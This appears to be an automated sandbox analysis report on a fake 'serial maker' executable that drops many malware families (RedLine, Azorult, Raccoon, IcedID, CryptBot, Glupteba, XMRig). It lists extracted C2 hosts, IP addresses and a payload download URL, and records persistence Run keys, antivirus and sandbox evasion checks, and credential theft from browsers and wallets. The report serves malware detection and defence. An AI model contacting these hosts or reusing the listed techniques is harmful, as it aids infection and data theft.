Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
207s -
max time network
1800s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
25/03/2021, 18:17
Static task
static1
Behavioral task
behavioral1
Sample
3d_Video_Player_4_5_serial_maker.exe
Resource
win10v20201028
Behavioral task
behavioral2
Sample
3d_Video_Player_4_5_serial_maker.exe
Resource
win10v20201028
Behavioral task
behavioral3
Sample
3d_Video_Player_4_5_serial_maker.exe
Resource
win10v20201028
Behavioral task
behavioral4
Sample
3d_Video_Player_4_5_serial_maker.exe
Resource
win10v20201028
Behavioral task
behavioral5
Sample
3d_Video_Player_4_5_serial_maker.exe
Resource
win10v20201028
Behavioral task
behavioral6
Sample
3d_Video_Player_4_5_serial_maker.exe
Resource
win10v20201028
Behavioral task
behavioral7
Sample
3d_Video_Player_4_5_serial_maker.exe
Resource
win10v20201028
Behavioral task
behavioral8
Sample
3d_Video_Player_4_5_serial_maker.exe
Resource
win10v20201028
General
-
Target
3d_Video_Player_4_5_serial_maker.exe
Malware Config
Extracted
http://labsclub.com/welcome
Extracted
azorult
http://kvaka.li/1210776429.php
Extracted
raccoon
dfa7b4d385486b737f84d608857eb43733ffd299
-
url4cnc
https://telete.in/j9ca1pel
Extracted
fickerstealer
deniedfight.com:80
Extracted
redline
werqy
werqy66.top:80
Extracted
redline
19test200
erherst.tk:80
Extracted
redline
btchochu
144.76.184.5:40355
Extracted
redline
ALLSupp 2
94.103.94.239:3214
Extracted
redline
ALLSupp 1
94.103.94.239:3214
Extracted
icedid
1235390667
petelbomber.xyz
Extracted
cryptbot
baqsw42.top
morryv04.top
-
payload_url
http://aktyd05.top/download.php?file=lv.exe
Extracted
metasploit
windows/single_exec
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
CryptBot Payload 2 IoCs
resource yara_rule behavioral7/memory/5340-513-0x0000000002550000-0x000000000262F000-memory.dmp family_cryptbot behavioral7/memory/5340-521-0x0000000000400000-0x00000000004E3000-memory.dmp family_cryptbot -
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
Glupteba Payload 6 IoCs
resource yara_rule behavioral7/memory/3208-515-0x0000000002DD0000-0x00000000036DA000-memory.dmp family_glupteba behavioral7/memory/3208-517-0x0000000000400000-0x0000000000D24000-memory.dmp family_glupteba behavioral7/memory/3208-519-0x0000000000400000-0x0000000000D24000-memory.dmp family_glupteba behavioral7/memory/5744-704-0x00000000039D0000-0x000000000422D000-memory.dmp family_glupteba behavioral7/memory/5744-705-0x0000000000400000-0x0000000000C77000-memory.dmp family_glupteba behavioral7/memory/5744-706-0x0000000000400000-0x0000000000C77000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 9 IoCs
resource yara_rule behavioral7/memory/7088-337-0x0000000000400000-0x0000000000432000-memory.dmp family_redline behavioral7/memory/6932-410-0x00000000032B0000-0x00000000032D3000-memory.dmp family_redline behavioral7/memory/6932-412-0x0000000003610000-0x0000000003632000-memory.dmp family_redline behavioral7/memory/7144-423-0x00000000034B0000-0x00000000034E1000-memory.dmp family_redline behavioral7/memory/7144-426-0x0000000005750000-0x000000000577F000-memory.dmp family_redline behavioral7/memory/5292-438-0x0000000002C60000-0x0000000002C90000-memory.dmp family_redline behavioral7/memory/6328-442-0x0000000003370000-0x00000000033A0000-memory.dmp family_redline behavioral7/memory/5292-443-0x0000000003410000-0x000000000343E000-memory.dmp family_redline behavioral7/memory/6328-447-0x00000000036A0000-0x00000000036CE000-memory.dmp family_redline -
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
description pid Process procid_target PID 6804 created 5368 6804 WerFault.exe 144 -
fickerstealer
Ficker is an infostealer written in Rust and ASM.
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
IcedID First Stage Loader 1 IoCs
resource yara_rule behavioral7/memory/8892-503-0x0000000000810000-0x0000000000817000-memory.dmp IcedidFirstLoader -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
XMRig Miner Payload 8 IoCs
resource yara_rule behavioral7/memory/6836-380-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral7/memory/6836-383-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral7/memory/6836-466-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral7/memory/10636-1150-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral7/memory/10636-1300-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral7/memory/10388-1316-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral7/memory/10388-1320-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral7/memory/10388-1322-0x0000000140000000-0x000000014072E000-memory.dmp xmrig -
Blocklisted process makes network request 8 IoCs
flow pid Process 203 6148 MsiExec.exe 243 6148 MsiExec.exe 244 6148 MsiExec.exe 248 6836 msiexec.exe 331 6148 MsiExec.exe 332 6148 MsiExec.exe 412 6148 MsiExec.exe 446 6148 MsiExec.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 2 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts vict.exe File opened for modification C:\Windows\system32\drivers\etc\hosts Microsoft.exe -
Executes dropped EXE 64 IoCs
pid Process 3444 keygen-pr.exe 1196 keygen-step-1.exe 1736 keygen-step-3.exe 3784 keygen-step-4.exe 1876 key.exe 3236 Setup.exe 1032 multitimer.exe 2112 setups.exe 632 askinstall20.exe 3812 setups.tmp 4612 multitimer.exe 4648 md2_2efs.exe 4748 multitimer.exe 1032 vict.exe 2560 i0bjlfnxokh.exe 4632 Setup3310.exe 3220 Setup3310.tmp 4416 AwesomePoolU1.exe 2316 vhusku3rqwv.exe 3900 i0bjlfnxokh.tmp 4324 vict.tmp 4100 IBInstaller_97039.exe 4108 vpn.exe 4848 vpn.tmp 4868 file.exe 4804 IBInstaller_97039.tmp 4660 1afan31zrrr.exe 4424 xuezhe3wrql.exe 4368 app.exe 1172 winhost.exe 2832 winlthsth.exe 1036 chrome_proxy.exe 4696 15DA.tmp.exe 4572 1F51.tmp.exe 5188 Setup.exe 5324 customer5.exe 5344 hjjgaa.exe 5368 RunWW.exe 5392 jg7_7wjg.exe 5424 LabPicV3.exe 5452 Conhost.exe 5484 Z7pGMA6DzfieVAOXDEtkk7kL.exe 5524 lylal220.exe 5580 RmSetp.exe 5596 LabPicV3.tmp 5644 YiXjaRalM3qf.exe 5700 main.exe 5800 lylal220.tmp 5792 15DA.tmp.exe 2688 tapinstall.exe 5404 Conhost.exe 5212 Microsoft.exe 4276 f85ef70f..exe 500 CiUouV6RK8ZKdVG9G8353Uvt.exe 4444 4393522.exe 2768 8091761.exe 4488 jfiag3g_gg.exe 5108 7za.exe 5292 1765025.exe 6156 Windows Host.exe 6328 2206815.exe 6344 BTRSetp.exe 6392 7za.exe 6544 irecord.exe -
Modifies Windows Firewall 1 TTPs
-
Sets service image path in registry 2 TTPs
-
Checks BIOS information in registry 2 TTPs 8 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 1765025.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 5632398.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 5632398.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 1765025.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 2206815.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 2206815.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 6829602.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 6829602.exe -
Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation Lubesyvaexo.exe Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation Mevokituci.exe Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation setups.tmp -
Loads dropped DLL 59 IoCs
pid Process 3812 setups.tmp 3812 setups.tmp 3812 setups.tmp 3812 setups.tmp 3812 setups.tmp 3812 setups.tmp 3812 setups.tmp 3220 Setup3310.tmp 3220 Setup3310.tmp 3900 i0bjlfnxokh.tmp 4324 vict.tmp 4804 IBInstaller_97039.tmp 4660 1afan31zrrr.exe 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 4848 vpn.tmp 5700 main.exe 5596 LabPicV3.tmp 5568 MsiExec.exe 5800 lylal220.tmp 5568 MsiExec.exe 5568 MsiExec.exe 4424 xuezhe3wrql.exe 4368 app.exe 4572 1F51.tmp.exe 6148 MsiExec.exe 6148 MsiExec.exe 4572 1F51.tmp.exe 4572 1F51.tmp.exe 4572 1F51.tmp.exe 4572 1F51.tmp.exe 6148 MsiExec.exe 4572 1F51.tmp.exe 6148 MsiExec.exe 6148 MsiExec.exe 6148 MsiExec.exe 8816 regsvr32.exe 8892 svchost.exe 6148 MsiExec.exe 6148 MsiExec.exe 6148 MsiExec.exe 6148 MsiExec.exe 8664 rundll32.exe 2360 rundll32.exe 8332 74201405900.exe 8332 74201405900.exe 8540 22242921795.exe 8540 22242921795.exe 7772 16907253218.exe 7772 16907253218.exe 6596 46717035527.exe 6596 46717035527.exe 7584 30869852162.exe 7584 30869852162.exe -
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral7/memory/5292-370-0x0000000000400000-0x0000000000EFA000-memory.dmp themida behavioral7/memory/6328-376-0x0000000000400000-0x0000000000F83000-memory.dmp themida behavioral7/memory/6932-382-0x0000000000400000-0x0000000000FE1000-memory.dmp themida behavioral7/memory/7144-397-0x0000000000400000-0x0000000000FD9000-memory.dmp themida behavioral7/memory/5476-691-0x0000000000400000-0x0000000000EFA000-memory.dmp themida behavioral7/memory/10192-692-0x0000000000400000-0x0000000000EFA000-memory.dmp themida behavioral7/memory/9812-694-0x0000000000400000-0x0000000000F83000-memory.dmp themida behavioral7/memory/4000-699-0x0000000000400000-0x0000000000F83000-memory.dmp themida behavioral7/memory/8472-1689-0x0000000000400000-0x0000000000FE1000-memory.dmp themida behavioral7/memory/6924-1693-0x0000000000400000-0x0000000000FD9000-memory.dmp themida -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 17 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f85ef70f..exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\Lzy4srT2p7AkE32FmvnzRuAKBoGNX8Ts = "C:\\Users\\Admin\\Documents\\CiUouV6RK8ZKdVG9G8353Uvt.exe" Z7pGMA6DzfieVAOXDEtkk7kL.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\sP5luJNnvDtNuqFQYwVqzlosp4ZhNHgo = "C:\\Users\\Admin\\Documents\\AMUgaVk6FcRLMySk7lnxBW6t.exe" CiUouV6RK8ZKdVG9G8353Uvt.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Reference Assemblies\\Nisarashija.exe\"" Microsoft.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Host = "C:\\ProgramData\\Windows Host\\Windows Host.exe" 8091761.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\EtLviPaDnmX4iqOPDZI4D83poGpKhQHq = "C:\\Users\\Admin\\Documents\\k7pW4NSWZmpdZPrHY4aLp4p0.exe" CiUouV6RK8ZKdVG9G8353Uvt.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\0fGcjPfWfqltZENgl8sbIGx1h7fWJ14i = "C:\\Users\\Admin\\Documents\\SyRKChyKMlzw2xirpLHPvuxF.exe" CiUouV6RK8ZKdVG9G8353Uvt.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\3a2RRKlZ0bZx9rpmATigBUFgEWIPmLPQ = "C:\\Users\\Admin\\Documents\\vfnpjk2o1XjHQMT5lYZ6tfL8.exe" CiUouV6RK8ZKdVG9G8353Uvt.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run aipackagechainer.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\3q42iav5dds = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\7HYF7W0EBK\\multitimer.exe\" 1 3.1616696298.605cd3eaf3f5d" multitimer.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe" hjjgaa.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\wwwupdat3 = "C:\\Users\\Admin\\AppData\\Roaming\\wwwupdat3.exe" f85ef70f..exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\Services.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Services.exe" Conhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\ aipackagechainer.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Mozilla Maintenance Service\\Maexagyqeri.exe\"" vict.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\kM6zuqZngE7I23zZlZbLLfmkDHA0tRn8 = "C:\\Users\\Admin\\Documents\\PlxLa8L6OnZIFF0RgXYOAQ3G.exe" CiUouV6RK8ZKdVG9G8353Uvt.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\kWwmpj4Pb9bLTmXPM27Z3lcVtYStnCI9 = "C:\\Users\\Admin\\Documents\\rrkNCVMiOwmBHrYmh9nlzr5E.exe" CiUouV6RK8ZKdVG9G8353Uvt.exe -
Checks for any installed AV software in registry 1 TTPs 53 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\AVG\AV multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVG\AV multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McProxy multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\BullGuard Ltd.\BullGuard\Main multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Jiangmin\ComputerID multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AntiVirService multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Fortinet\FortiClient\installed multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\ESET\NOD multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet\Services\MBAMProtector multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\ClamWin\Version multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\G Data\AntiVirenKit multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Sophos multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\COMODO\CIS multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\K7 Computing\K7TotalSecurity multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\AVG\AV multitimer.exe Key opened \REGISTRY\MACHINE\Software\Avira\Antivirus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\IKARUS\anti.virus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\KasperskyLab multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Bitdefender\QuickScan multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\QHActiveDefense multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DrWebAVService multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Avira\Antivirus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McAPExe multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\McAfee\DesktopProtection multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\TrendMicro\UniClient multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ESET\NOD multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\avast! Antivirus multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\a2AntiMalware multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AVP18.0.0 multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Vba32\Loader multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\BavSvc multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\ESET\NOD multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\ArcaBit multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\COMODO\CIS multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\FRISK Software\F-PROT Antivirus for Windows multitimer.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md2_2efs.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 2206815.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 1765025.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 5632398.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 6829602.exe -
Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\L: 1afan31zrrr.exe File opened (read-only) \??\J: app.exe File opened (read-only) \??\O: app.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\S: app.exe File opened (read-only) \??\B: 1afan31zrrr.exe File opened (read-only) \??\K: 1afan31zrrr.exe File opened (read-only) \??\W: 1afan31zrrr.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\M: app.exe File opened (read-only) \??\V: app.exe File opened (read-only) \??\Y: app.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\J: 1afan31zrrr.exe File opened (read-only) \??\Y: 1afan31zrrr.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\F: app.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\H: 1afan31zrrr.exe File opened (read-only) \??\V: 1afan31zrrr.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Q: app.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\Q: 1afan31zrrr.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\G: app.exe File opened (read-only) \??\Z: app.exe File opened (read-only) \??\E: 1afan31zrrr.exe File opened (read-only) \??\F: 1afan31zrrr.exe File opened (read-only) \??\I: 1afan31zrrr.exe File opened (read-only) \??\U: app.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\A: 1afan31zrrr.exe File opened (read-only) \??\N: 1afan31zrrr.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\I: app.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\P: 1afan31zrrr.exe File opened (read-only) \??\Z: 1afan31zrrr.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\E: app.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\H: app.exe File opened (read-only) \??\L: app.exe File opened (read-only) \??\R: msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 27 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 377 checkip.amazonaws.com 1058 ipinfo.io 98 ipinfo.io 708 ipinfo.io 96 ipinfo.io 531 checkip.amazonaws.com 799 checkip.amazonaws.com 874 ipinfo.io 1004 ipinfo.io 1052 checkip.amazonaws.com 1125 checkip.amazonaws.com 251 ip-api.com 608 checkip.amazonaws.com 732 ipinfo.io 739 ipinfo.io 843 checkip.amazonaws.com 163 checkip.amazonaws.com 167 ip-api.com 801 checkip.amazonaws.com 136 api.ipify.org 712 ipinfo.io 777 ipinfo.io 994 ipinfo.io 807 checkip.amazonaws.com 891 checkip.amazonaws.com 1066 ipinfo.io 255 checkip.amazonaws.com -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0 multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum multitimer.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 14 IoCs
pid Process 6328 2206815.exe 5292 1765025.exe 412 parse.exe 6728 schtasks.exe 5376 MicrosoftEdgeCP.exe 6932 5632398.exe 7144 6829602.exe 5376 MicrosoftEdgeCP.exe 6728 schtasks.exe 412 parse.exe 5376 MicrosoftEdgeCP.exe 6728 schtasks.exe 412 parse.exe 5376 MicrosoftEdgeCP.exe -
Suspicious use of SetThreadContext 7 IoCs
description pid Process procid_target PID 4696 set thread context of 5792 4696 15DA.tmp.exe 157 PID 5644 set thread context of 7088 5644 YiXjaRalM3qf.exe 193 PID 4276 set thread context of 6836 4276 f85ef70f..exe 224 PID 4276 set thread context of 4904 4276 f85ef70f..exe 226 PID 5664 set thread context of 6896 5664 rrkNCVMiOwmBHrYmh9nlzr5E.exe 231 PID 5196 set thread context of 2736 5196 SyRKChyKMlzw2xirpLHPvuxF.exe 234 PID 2476 set thread context of 4652 2476 svchost.exe 357 -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\Icy-Breeze\help.txt xuezhe3wrql.exe File created C:\Program Files (x86)\Frosty-Sound\winamp-plugins.7z app.exe File opened for modification C:\Program Files (x86)\I-record\avcodec-53.dll irecord.tmp File created C:\Program Files (x86)\I-record\is-GPR7A.tmp irecord.tmp File opened for modification C:\Program Files (x86)\Frosty-Sound\winamp.exe 7za.exe File created C:\Program Files (x86)\MaskVPN\driver\winxp64\is-L6UMB.tmp vpn.tmp File opened for modification C:\Program Files (x86)\Versium Research\Versium Research\jg7_7wjg.exe Setup.exe File opened for modification C:\Program Files (x86)\MaskVPN\ipseccmd.exe vpn.tmp File created C:\Program Files\Windows Multimedia Platform\KRHGUVHSFD\prolab.exe.config vict.exe File created C:\Program Files (x86)\MaskVPN\is-DLON9.tmp vpn.tmp File opened for modification C:\Program Files (x86)\Versium Research\Versium Research\RunWW.exe Setup.exe File opened for modification C:\Program Files (x86)\Picture Lab\WeifenLuo.WinFormsUI.dll prolab.tmp File created C:\Program Files (x86)\I-record\is-8TS6G.tmp irecord.tmp File opened for modification C:\Program Files (x86)\InstallationEngineForIB\am805.dll IBInstaller_97039.tmp File created C:\Program Files (x86)\InstallationEngineForIB\is-O4ENM.tmp IBInstaller_97039.tmp File opened for modification C:\Program Files (x86)\I-record\avutil-51.dll irecord.tmp File created C:\Program Files (x86)\Frosty-Sound\winamp.exe 7za.exe File created C:\Program Files (x86)\MaskVPN\driver\winxp64\is-QR2PN.tmp vpn.tmp File opened for modification C:\Program Files (x86)\I-record\i-record.exe irecord.tmp File created C:\Program Files (x86)\Picture Lab\is-H8BCV.tmp prolab.tmp File opened for modification C:\Program Files (x86)\Versium Research\Versium Research\YiXjaRalM3qf.exe Setup.exe File created C:\Program Files (x86)\Icy-Breeze\7zxa.dll xuezhe3wrql.exe File created C:\Program Files (x86)\I-record\is-6VGMN.tmp irecord.tmp File created C:\Program Files (x86)\MaskVPN\is-D4MI2.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-P3ABH.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-MDIK9.tmp vpn.tmp File opened for modification C:\Program Files (x86)\Picture Lab\AForge.Imaging.dll prolab.tmp File opened for modification C:\Program Files (x86)\Picture Lab\AForge.Math.dll prolab.tmp File created 